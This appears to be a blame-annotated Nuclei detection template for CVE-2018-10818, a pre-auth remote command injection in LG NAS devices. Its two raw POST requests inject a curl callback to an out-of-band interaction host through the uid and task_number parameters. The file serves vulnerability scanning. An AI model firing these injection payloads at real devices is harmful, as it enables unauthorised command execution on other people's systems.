2021-10-30 11:17:35 +00:00
|
|
|
id: CVE-2018-10818
|
2021-07-26 17:27:13 +00:00
|
|
|
|
|
|
|
info:
|
2022-04-29 19:58:07 +00:00
|
|
|
name: LG NAS Devices - Remote Code Execution
|
2021-07-26 17:27:13 +00:00
|
|
|
author: gy741
|
|
|
|
severity: critical
|
2022-04-29 19:58:07 +00:00
|
|
|
description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
|
2021-08-19 13:59:12 +00:00
|
|
|
reference:
|
2021-07-26 17:27:13 +00:00
|
|
|
- https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
|
|
|
|
- https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
|
2022-04-29 19:58:07 +00:00
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
|
2022-04-01 08:51:42 +00:00
|
|
|
classification:
|
|
|
|
cve-id: CVE-2018-10818
|
2022-01-04 19:34:16 +00:00
|
|
|
tags: cve,cve2018,lg-nas,rce,oast,injection
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2021-07-26 17:27:13 +00:00
|
|
|
|
2023-03-29 11:07:38 +00:00
|
|
|
variables:
|
2023-03-29 14:11:27 +00:00
|
|
|
useragent: '{{rand_base(6)}}'
|
2023-03-29 11:07:38 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-26 17:27:13 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /system/sharedir.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2023-03-29 13:54:19 +00:00
|
|
|
&uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
|
2021-07-26 17:27:13 +00:00
|
|
|
|
|
|
|
- |
|
|
|
|
POST /en/php/usb_sync.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2023-03-29 13:54:19 +00:00
|
|
|
&act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
|
2021-07-26 17:27:13 +00:00
|
|
|
|
2023-03-29 10:21:17 +00:00
|
|
|
stop-at-first-match: true
|
2021-07-26 17:27:13 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2023-03-29 10:21:17 +00:00
|
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
2021-07-26 17:27:13 +00:00
|
|
|
words:
|
|
|
|
- "http"
|
|
|
|
|
2023-03-29 10:21:17 +00:00
|
|
|
- type: word
|
|
|
|
part: interactsh_request
|
|
|
|
words:
|
2023-03-29 13:54:19 +00:00
|
|
|
- "User-Agent: {{useragent}}"
|